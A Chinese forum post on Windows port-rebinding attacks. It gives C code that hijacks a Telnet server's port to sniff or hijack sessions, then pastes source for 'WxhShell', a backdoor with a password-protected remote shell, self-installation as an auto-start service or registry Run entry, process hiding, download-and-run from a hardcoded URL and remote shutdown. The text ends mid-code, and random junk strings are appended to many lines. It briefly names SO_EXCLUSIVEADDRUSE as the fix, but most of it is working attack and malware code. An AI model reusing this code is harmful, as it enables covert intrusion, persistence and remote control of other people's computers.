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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p_FM 2K7!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }^ rxsx`  
]v+<K63@T  
  saddr.sin_family = AF_INET; "yWw3(V2>  
PRKZg]?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )!T~l(g  
ex3Qbr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *ByHTd  
*rxr:y#Ve  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5/meH[R\M  
f6Qr0Op  
  这意味着什么?意味着可以进行如下的攻击: ZN[<=w&(cB  
[>=!$>>;8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rP@#_(22  
p>6`jr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bO '\QtW9  
V%Uj\cv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,_[x|8m  
><V*`{bD9)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m,l/=M  
O%b byR2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gQ1 obT"|  
1b,a3w(:1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e8m,q~%#/  
H;H=8'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @u~S!(7.Wi  
baxZ>KNi  
  #include )*')  
  #include dC11kq qj  
  #include 7Cgi&  
  #include    /d`"WK,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^^y eC|~N:  
  int main() fgLjF,Y  
  { \}jMC  
  WORD wVersionRequested; / 3A6xPOg  
  DWORD ret; *Gsj pNr-  
  WSADATA wsaData; +y7z>Fwl  
  BOOL val; ua\t5M5  
  SOCKADDR_IN saddr; kaG/8G(  
  SOCKADDR_IN scaddr; 3h@]cWp  
  int err; FDHW' OP4  
  SOCKET s; P4zo[R%4  
  SOCKET sc; LPk@t^[  
  int caddsize; nJD GNm,  
  HANDLE mt; Kxe\H'rR  
  DWORD tid;   sD|l}f  
  wVersionRequested = MAKEWORD( 2, 2 ); 4S_ -9&z  
  err = WSAStartup( wVersionRequested, &wsaData ); Xn7G2Yp  
  if ( err != 0 ) { X{9^$/XsJ  
  printf("error!WSAStartup failed!\n"); q z)2a2C  
  return -1; a#oROb-*~  
  } #&3,T1i`  
  saddr.sin_family = AF_INET; r pNb.  
   O-iE0t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4{VO:(geZ  
/y$Omc^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KA3U W  
  saddr.sin_port = htons(23); d} >Po%r:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bIQ,=EA1  
  { x4_IUIgh  
  printf("error!socket failed!\n"); .)Tj}Im2p  
  return -1; q"2QNF'  
  } v.0qE}' |  
  val = TRUE; "c^!LV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aDlp>p^E>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fs+ tcr/\[  
  { H]TdW;ZbZ  
  printf("error!setsockopt failed!\n"); /l$x}  
  return -1; BK$y>= `  
  } yR}. Xq/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [KDxB>R<{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `e[S Zj\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "*g+qll!5d  
X/_I2X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AtT7~cVe  
  { JsEJ6!1  
  ret=GetLastError(); Qg>NJ\*Q  
  printf("error!bind failed!\n"); rd <m:r  
  return -1; w5FIHYl6B  
  } 2TK \pfD  
  listen(s,2); %? ~'A59  
  while(1) &@=Jm /5  
  { }=R]<`Sj.j  
  caddsize = sizeof(scaddr); \#sD`O  
  //接受连接请求 05UN <l]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F^!D[:;jK  
  if(sc!=INVALID_SOCKET) 3m1g"  
  { 0G%9 @^B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ep>!jMhJa  
  if(mt==NULL) 5LeZ ?'"c  
  { K_Y-N!h  
  printf("Thread Creat Failed!\n");  01kRe  
  break; rPxRGoR  
  } ''17(%  
  } woI5aee|  
  CloseHandle(mt); Ee>VA_ss  
  } dQ:,pe7A  
  closesocket(s); z]7 WC  
  WSACleanup(); A(Ct^/x-  
  return 0; b?wrOS  
  }   Mz+I YP`L  
  DWORD WINAPI ClientThread(LPVOID lpParam) ULx:2jz  
  { 1" '3/MFQ8  
  SOCKET ss = (SOCKET)lpParam; Ple.fKu  
  SOCKET sc; kk4 |4  
  unsigned char buf[4096]; !$I~3_c  
  SOCKADDR_IN saddr; 5epI'D  
  long num; kc'$4 J4Tw  
  DWORD val; %VHy?!/  
  DWORD ret; DP_b9o \5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Iix,}kzss  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vHaM yA-  
  saddr.sin_family = AF_INET; Bfb~<rs[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ct+F\:e  
  saddr.sin_port = htons(23); R'c*CLaiE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q~{) {t;  
  { c r=Q39{  
  printf("error!socket failed!\n"); *)^6'4=  
  return -1; manw;`Q  
  } 4P{|H  
  val = 100; srS!X$cec  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A|biOz  
  { )k<cd.MX  
  ret = GetLastError(); U1 `5P!ov  
  return -1; 7H H  
  } ~E}kwF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H4M=&"ll}  
  { V 6}5^W  
  ret = GetLastError(); 6@]o,O  
  return -1; O>`k@X@9/  
  } kUBE+a6#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4:MvC^X~z  
  { Jb,54uN  
  printf("error!socket connect failed!\n"); dJuyJl$*  
  closesocket(sc); *tjaac;z<J  
  closesocket(ss); @ f[-  
  return -1; '1u?-2  
  } i?L=8+9f  
  while(1) QE 4   
  { VH7t^fb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ` w;Wud'*<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T!/o^0w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "LlpZtw  
  num = recv(ss,buf,4096,0); i0M6;W1T  
  if(num>0) B>{%$@4  
  send(sc,buf,num,0); n%Oi~7>  
  else if(num==0) ^^q&VL  
  break; ~cU1 /CW8  
  num = recv(sc,buf,4096,0); d+n2 c`i  
  if(num>0) #p+iwW-  
  send(ss,buf,num,0); HDm]njF%qQ  
  else if(num==0) 2gWR2 H@  
  break; lHiWzt u  
  } ~[H8R|j "  
  closesocket(ss); .Ys e/oEo  
  closesocket(sc); &%J{uRp  
  return 0 ; e;i 6C%DB  
  } XtCIUC{r,  
.AN1Yt  
z+Xr2B  
========================================================== fY]"_P  
$S>'0mL  
下边附上一个代码,,WXhSHELL V|Bwle  
b'wy{~l@  
========================================================== he|Q (?  
"{<X! ^u>  
#include "stdafx.h" Mi]^wCF  
$(}rTm  
#include <stdio.h> K6{wM  
#include <string.h> #1dVp!?3T  
#include <windows.h> tSy 9v  
#include <winsock2.h> Z+B*V )a=  
#include <winsvc.h> |s3;`Nxu7  
#include <urlmon.h> m|NZ093d  
coCT]<  
#pragma comment (lib, "Ws2_32.lib") Kp7D I0~  
#pragma comment (lib, "urlmon.lib") %g :Q?   
(]w6q&,  
#define MAX_USER   100 // 最大客户端连接数 j$ T12  
#define BUF_SOCK   200 // sock buffer W"=l@}I  
#define KEY_BUFF   255 // 输入 buffer $9%F1:u  
Y:CX RU6eD  
#define REBOOT     0   // 重启 l8~(bq1  
#define SHUTDOWN   1   // 关机 izSX  
~vTwuc\(H  
#define DEF_PORT   5000 // 监听端口 eEXNEgbn  
cB&_':F  
#define REG_LEN     16   // 注册表键长度 -9vNV:c  
#define SVC_LEN     80   // NT服务名长度 B/X$ZQ0  
Y" =8wNbr  
// 从dll定义API 97Dq;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *iB&tWv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eb7UA=[Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6UCF w>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zS:2?VXxq  
s AFn.W  
// wxhshell配置信息 :uo)-9_  
struct WSCFG { =`x }9|[  
  int ws_port;         // 监听端口 1 b 7jNkQ  
  char ws_passstr[REG_LEN]; // 口令 b |:Y3_>  
  int ws_autoins;       // 安装标记, 1=yes 0=no "{8j!+]4i  
  char ws_regname[REG_LEN]; // 注册表键名 *I :c@iCNJ  
  char ws_svcname[REG_LEN]; // 服务名 7V%P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G:*vV#K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OROvy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1v&!%9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !4Aj#`)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;6@sC[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I^EZs6~  
=r+K2]z,L  
}; x8aOXN#w}  
UIDeMz  
// default Wxhshell configuration yH('Vl  
struct WSCFG wscfg={DEF_PORT, wa<k%_# M  
    "xuhuanlingzhe", 3qTr|8`s  
    1, 6y!U68L;B  
    "Wxhshell", ~!ooIwNNz  
    "Wxhshell", Jqb~RP~  
            "WxhShell Service", ,>aa2  
    "Wrsky Windows CmdShell Service", 0{vT`e'  
    "Please Input Your Password: ", +a39 !j 1_  
  1, gcnX^[`S  
  "http://www.wrsky.com/wxhshell.exe", * WV=Xp  
  "Wxhshell.exe" .xqi7vVHZ  
    }; NCh-BinK@  
;8oe-xS\+  
// 消息定义模块 X$KTsG*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %|JiFDjp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JPF6zzl)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *rTg>)  
char *msg_ws_ext="\n\rExit."; &|Wqzdo?#  
char *msg_ws_end="\n\rQuit."; 7j)ky2r#  
char *msg_ws_boot="\n\rReboot..."; /=YNkw5   
char *msg_ws_poff="\n\rShutdown..."; "gy&eR>  
char *msg_ws_down="\n\rSave to "; hDi~{rbmc  
3E wdu  
char *msg_ws_err="\n\rErr!"; O? g;Ny  
char *msg_ws_ok="\n\rOK!"; @%fTdneH  
T9R# .y,  
char ExeFile[MAX_PATH]; .K84"Gdx  
int nUser = 0; lrZ]c:%k  
HANDLE handles[MAX_USER]; : %& E58  
int OsIsNt; -TVwoK  
EMP|I^  
SERVICE_STATUS       serviceStatus; )Xqjl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  g*a+$'  
O*v&C Hd3  
// 函数声明 vyDxX  
int Install(void); _yg;5#3  
int Uninstall(void); wH8J?j"5>  
int DownloadFile(char *sURL, SOCKET wsh); ,=\.L_'  
int Boot(int flag); MrzD ah9UG  
void HideProc(void); T^Ia^B-%}g  
int GetOsVer(void); Q>D//_TF  
int Wxhshell(SOCKET wsl);  >SQzE  
void TalkWithClient(void *cs); "a].v 8l!  
int CmdShell(SOCKET sock); N ;=z o-8  
int StartFromService(void); XfE0P(sE  
int StartWxhshell(LPSTR lpCmdLine); %SB4_ r*<  
/pjl6dJ t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7SS#V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z=KDkpV  
8Azh&c  
// 数据结构和表定义 ,r*Kxy  
SERVICE_TABLE_ENTRY DispatchTable[] = FB wG3x  
{ 1q(Qr h  
{wscfg.ws_svcname, NTServiceMain}, 3F]Dh^IR9  
{NULL, NULL} #&T O(bk  
}; k Nc- @B  
p/ xlR[  
// 自我安装 v4hrS\M  
int Install(void) 3N$@K"qM#  
{ "LlQl3"=  
  char svExeFile[MAX_PATH]; &(,\~  
  HKEY key; 4/~x+tdc  
  strcpy(svExeFile,ExeFile); Jy/< {7j  
lv=q( &  
// 如果是win9x系统,修改注册表设为自启动 b5H}0<  
if(!OsIsNt) { {Z k^J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rwJ U;wy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l,lqhq\  
  RegCloseKey(key); \{`^Q+<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qK7:[\T|?T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Ff}Y.4  
  RegCloseKey(key); g,]o+nT  
  return 0; ViiJDYT>E<  
    } UB5H8&Rf!  
  } Q k}RcP  
} Vm<_e  
else { =V|jd'iwx  
<&Xl b0  
// 如果是NT以上系统,安装为系统服务 jUM'f24  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P}~MO)*1  
if (schSCManager!=0) m6[}KkW  
{ ,V,mz?d^9  
  SC_HANDLE schService = CreateService H2%Qu<Kg2  
  ( *V hEl7  
  schSCManager, f~wON>$K  
  wscfg.ws_svcname, C0[U}Y/r2  
  wscfg.ws_svcdisp, s1Acl\l-uF  
  SERVICE_ALL_ACCESS, ! DOyOTR&3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , by'KJxl[  
  SERVICE_AUTO_START, beo(7,=&  
  SERVICE_ERROR_NORMAL, h_?`ESI~  
  svExeFile, >I\B_q  
  NULL, }P?e31@:  
  NULL, 0&s a#g2  
  NULL, SbGdcCB  
  NULL, yn}Dj9(q  
  NULL H;4QuB'^  
  ); T+nID@"36  
  if (schService!=0) =tD*,2]  
  { Y]L4,V  
  CloseServiceHandle(schService); avq$aq(3&  
  CloseServiceHandle(schSCManager); `sqr>QD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >\[]z^J  
  strcat(svExeFile,wscfg.ws_svcname); OiQf=Uz\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U.,S.WP+d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =_pSfKR;  
  RegCloseKey(key); 'Z~ZSu  
  return 0; U4=l`{5on  
    } f2x!cL|Kx?  
  } Ht;Rz*}  
  CloseServiceHandle(schSCManager); 5h/,*p6Nje  
} OUUV8K  
} )9"^ D  
FShjUl>mV  
return 1; y#B=9Ri=z  
} U\Vg&"P  
@ &N  
// 自我卸载 P6.PjK!Ar  
int Uninstall(void) ldUZ\z(*  
{ s0dP3tz>  
  HKEY key; ,Tr&`2w  
3`yO&upk  
if(!OsIsNt) { =KHb0d |.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @CzFzVmF"  
  RegDeleteValue(key,wscfg.ws_regname); ]S4"JcM  
  RegCloseKey(key); S?b&4\:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N_K9H1 r  
  RegDeleteValue(key,wscfg.ws_regname); uQvTir*e  
  RegCloseKey(key); 7 2JwG7qh  
  return 0; I}bu  
  } %3qjgyLZ|  
} _ +DL   
} FzX ;~CA  
else { >[aR8J/U  
?pZU'5le`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5zBA]1PY  
if (schSCManager!=0) LH(P<k&  
{  Kg';[G\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l%2VA  
  if (schService!=0) Kj4BVs  
  { 4Y?2u  
  if(DeleteService(schService)!=0) { 5kw  K%  
  CloseServiceHandle(schService); 1"Oe*@`pV  
  CloseServiceHandle(schSCManager); -+@N/d5  
  return 0; n#x_da-m]  
  } ]%D!-[C%1  
  CloseServiceHandle(schService); pYQSn.`V~  
  } #aL.E(%  
  CloseServiceHandle(schSCManager); pRV.\*:c  
} P^<3 Z)L  
} K9EHT-  
VQpt1cK*  
return 1; w>j5oz}  
} }d}gb`Du  
"}Om0rB}1  
// 从指定url下载文件 tcj "rV{G  
int DownloadFile(char *sURL, SOCKET wsh) =h4u N,  
{ IW!x!~e  
  HRESULT hr; "<0!S~]  
char seps[]= "/"; :bct+J}l~  
char *token; O80Z7  
char *file; T+Re1sPr?  
char myURL[MAX_PATH]; > Hv9Xz  
char myFILE[MAX_PATH]; Hj>9#>b  
Y9X,2L7V  
strcpy(myURL,sURL); #a=]h}&1?  
  token=strtok(myURL,seps); *,G< X^  
  while(token!=NULL) [Ix6ArY  
  { f?. VVlD  
    file=token; KX~ uE6rX  
  token=strtok(NULL,seps); RL4|!HzR  
  }  Culv/  
LmJjO:W}^y  
GetCurrentDirectory(MAX_PATH,myFILE); dY}5Kmt  
strcat(myFILE, "\\"); V]--d33/a  
strcat(myFILE, file); I*TTD]e'X  
  send(wsh,myFILE,strlen(myFILE),0); \m|5Aqs  
send(wsh,"...",3,0); dYISjk@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  it H  
  if(hr==S_OK) @I4HpY7:  
return 0; F'[Y.tA ,#  
else aQ(P#n>a2  
return 1; u_WUJ_  
E|;>!MMA;  
} S*G^U1Sc+  
E|9`J00  
// 系统电源模块 =)+^y}xb  
int Boot(int flag) (.N n|lY<i  
{ 12#yHsk  
  HANDLE hToken; O:GPuVb\  
  TOKEN_PRIVILEGES tkp; fGV'l__\\  
Fy5:|C N  
  if(OsIsNt) { ]vf_4QW=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OSO MFt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m&=Dy5  
    tkp.PrivilegeCount = 1; Rp2h[_>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b)IQa,enH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8g8eY pG  
if(flag==REBOOT) { %TI3Eb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jX4$PfOhR  
  return 0; ^!^M Gzu  
} -sv%A7i  
else { mxCneX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *^@b0f~vj  
  return 0; >uZc#Zt  
} k 76<CX  
  } CP9Q|'oJ  
  else { u^SInanw  
if(flag==REBOOT) { C1f$^N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W3/] 2"0  
  return 0; ]+,L/P  
} U0 -RG  
else { . h)VR 5?j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mQVlE__ub  
  return 0; jjH2!R]^>  
} O+mEE>:w%  
} / :.I&^>P  
;rL>{UhG  
return 1; ? ;Sg,.J  
} IY.M#Q ]  
-,*m\Fe}  
// win9x进程隐藏模块 }8 ;,2E*z  
void HideProc(void) =k d-rIBc  
{ pFd{Tdh  
91R7Rrne  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); el$@^Wy&$  
  if ( hKernel != NULL ) Z L0Vx6Ph  
  { O D5qPovsd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zK~_e\m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }#.OJub  
    FreeLibrary(hKernel); MjQ>& fUK  
  } 6miXaAA8  
xr.;B`T0\'  
return; :KC]1_zqR  
} x Y$x= )  
hy#nK:B  
// 获取操作系统版本 MA9E??p3\  
int GetOsVer(void) +(Hp ".gU  
{ s w >B  
  OSVERSIONINFO winfo; $27OrXQ|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *lZ V3F  
  GetVersionEx(&winfo); rgXX,+cO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q}jh>`d  
  return 1; xC + >R1)  
  else ])qnPoQ<n  
  return 0; 4J'0k<5S  
} }Uj-R3]}K  
CEkf0%YJ  
// 客户端句柄模块 p);[;S  
int Wxhshell(SOCKET wsl) EpACd8Fb  
{ $[HCetaqV  
  SOCKET wsh; w$s6NBF7  
  struct sockaddr_in client; gZ>&cju  
  DWORD myID; n=DmdQ}  
#(}{*d R  
  while(nUser<MAX_USER) p:tp |/  
{ 'Kmf6iK>[  
  int nSize=sizeof(client); {pXX%>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c'?EI EP  
  if(wsh==INVALID_SOCKET) return 1; "<egm^Yq  
JI-.SR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AWFq5YMSI  
if(handles[nUser]==0) I^LU*A=  
  closesocket(wsh); V`/c#y||  
else |R91|-H  
  nUser++; !}mM"|<  
  } &<&eKq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .+8#&Uy  
^Q0=Ggh  
  return 0; 7ko}X,aC  
} oP 7)  
_o?aO C  
// 关闭 socket t#f-3zd9  
void CloseIt(SOCKET wsh) w"kBAi&  
{ X/%!p<}:'  
closesocket(wsh); 9^sz,auB  
nUser--; JC$_Pg!  
ExitThread(0); g]MgT-C|  
} |LZ+_  
G a$2o6  
// 客户端请求句柄 .pxUO3g  
void TalkWithClient(void *cs) FS)C<T]t  
{ 8rBa}v9  
&-IkM%_A9  
  SOCKET wsh=(SOCKET)cs; S_AN.8T  
  char pwd[SVC_LEN]; ,{ 0&NX  
  char cmd[KEY_BUFF]; o@$py U8  
char chr[1]; I+ Qt5Ox  
int i,j; aY, '^S  
{O=_c|u{N  
  while (nUser < MAX_USER) { Y^#>3T  
>;M STHeW  
if(wscfg.ws_passstr) { bjwl21;{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]~3a~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;&w_.j*Is  
  //ZeroMemory(pwd,KEY_BUFF); n[a%*i6x  
      i=0; hE,-CIRg  
  while(i<SVC_LEN) { R4[|f0l}s  
#8vl2qWbi  
  // 设置超时 -idbR[1{?  
  fd_set FdRead; T-s[na(/L  
  struct timeval TimeOut; `P|V&;}K  
  FD_ZERO(&FdRead); *g'%5i1ed  
  FD_SET(wsh,&FdRead); (L1O;~$  
  TimeOut.tv_sec=8; /_(l :q^  
  TimeOut.tv_usec=0; =td(}3|D Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @v6{U?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QUXr#!rPY|  
XGnC8Be{4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R6GlQ G  
  pwd=chr[0]; bV)h\:oC  
  if(chr[0]==0xd || chr[0]==0xa) { F&+_z&n)  
  pwd=0; 0x,4H30t(  
  break; }lx'NY~(W  
  } }vF=XA  
  i++; p7Yb8#XfU  
    } vHymSU/J  
<&1hJ)O  
  // 如果是非法用户,关闭 socket >I/~)B`jhE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bC&xN@4  
} ?|<p^:  
u]3VK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i#U_g:~wC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9M[   
=p8iYtI  
while(1) { (iO/@iw  
n5#9o},oK  
  ZeroMemory(cmd,KEY_BUFF); S U P  
u69G #  
      // 自动支持客户端 telnet标准   :N4?W}r.  
  j=0; SV1;[  
  while(j<KEY_BUFF) { LwI4 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P=4o)e7E!  
  cmd[j]=chr[0]; t .XuH#  
  if(chr[0]==0xa || chr[0]==0xd) { 7c'OIY].,  
  cmd[j]=0; _>{"vY  
  break; hZO=$Mm4p  
  } }f] ~{^  
  j++; mL s>RR#b  
    } %SMP)4Y/R  
fdKTj =4  
  // 下载文件 ot^$/(W  
  if(strstr(cmd,"http://")) { }Mc&yjhMrg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _#E@& z".L  
  if(DownloadFile(cmd,wsh)) w4uY/!~k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ve\!:,(Y_  
  else 0o?2Sf`L\*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <3{ >;^|e  
  } #|cr\\2*  
  else { G'_5UP!  
i"M$hXO  
    switch(cmd[0]) { =:^f6"p&Z  
  2cJ3b 0Xx  
  // 帮助 N!af1zj  
  case '?': { iS8yJRy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u,S}4p&l  
    break; 2C &l\16  
  } o2riy'~  
  // 安装 3q(]Dg;v  
  case 'i': { z 2Ao6*%  
    if(Install()) /5 R?(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~Z\|Y`#B  
    else IqjH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G]>P!]  
    break; Jy#2 1  
    } NK(; -~{P  
  // 卸载 X&Pj  
  case 'r': { PKNpR  
    if(Uninstall()) ddeH-Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Q# !.lH$W  
    else IlP@a[:_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0p \,}t\E  
    break; wArtg'=X  
    } [/eRc  
  // 显示 wxhshell 所在路径 'miY"L:| O  
  case 'p': { |Z{ DU(?[b  
    char svExeFile[MAX_PATH]; _dw6 C2]P  
    strcpy(svExeFile,"\n\r"); EAnw:yUV(  
      strcat(svExeFile,ExeFile); n@| &jh  
        send(wsh,svExeFile,strlen(svExeFile),0); D5fhOq+g  
    break; 6%UhP;(  
    } I/w=!Ih  
  // 重启 pS<j>y  
  case 'b': { cvv(OkC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0VlB7oF  
    if(Boot(REBOOT)) y{uN+QS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vEb_z[gd  
    else { 9|LV x3]  
    closesocket(wsh); ! ^U!T\qDi  
    ExitThread(0); ]g0\3A  
    } \bWo"Yo  
    break; }^3ICwzm  
    } MF~Tr0tOC  
  // 关机 dpcFS0  
  case 'd': { 0RGSv!w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f{u3RCfX~2  
